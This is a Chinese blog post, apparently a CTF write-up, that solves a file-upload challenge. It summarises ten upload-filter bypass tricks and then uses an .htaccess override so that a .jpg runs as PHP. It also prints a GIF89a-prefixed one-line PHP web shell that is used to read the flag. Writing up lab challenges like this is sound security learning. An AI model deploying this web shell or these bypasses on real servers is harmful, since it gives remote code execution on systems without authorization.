[MRCTF2020]你传你呢

发布时间 2023-11-15 09:18:11作者: 跳河离去的鱼

是文件上传漏洞,对于文件上传漏洞,参考师傅们的文章做个简单的总结

1、前端绕过,抓包修改后缀名,
2、文件内容绕过,用图片马,抓包修改后缀绕过
3、黑名单绕过,那么我们可以改成phtml抓包绕过
4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”
5、大小写绕过,抓包后修改后缀为.PHp
6、空格绕过,抓包修改后缀,在后缀后面加上空格
7、点绕过,抓包修改后缀,在后缀后面加上点(删掉空格还可以. .或者 . )
8、文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,
9、双拼绕过,抓包修改后缀,并在把后缀改成pphphp,这样后端去掉php,还剩下个p和hp组合在一起,又是php
10、.user.ini配置文件绕过

直接传php文件不行,抓包绕过一下前端,把各种双写,大小写,空格绕过都试一遍,回显都是

43XZxFFJpQnXYyuwgvVx0N-lj8pqwLXqDbWqoTTCjZ8

这个时候需要通过htaccess绕过,上传.htaccess文件

<FilesMatch "b.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

eDR0UWuyB_madC0MvFWsc5PidZ8HT8mJDwLQC9ttYYc

类型需要改成image/jpeg,否则仍然不会通过,因为不是在白名单中的后缀名

N_uDhN5yw9gMa7PUZDDbv1V6Gd_IY8gcpQ6RfXBufbo

接下来上传一句话木马

GIF89a
<?=eval($_POST['cmd']);?>

9XgUDPcoaqrkRdgxBf92NmDXApC2FVeYBnqJNPx1hbQ

http://e41a6a14-5c3a-45ed-a88e-017456a80e5e.node4.buuoj.cn:81/upload/277e17433606e023e817bcd9c4025473/b.jpg

Ze675HjSsKmuWeKZTmTRyQLagBDRKLE182W3gvY6iOk

测试连接成功

585bxJq7UloeziFIH6Jw1odFyHogSm8hpc1Er9QiBPA

根目录下找到flag

DSmFDpRjjiMWtyJRW-M_7u0uAwrQahHmFtsQwXldwpE

flag{460a2117-0868-4753-9942-95c01327fa91}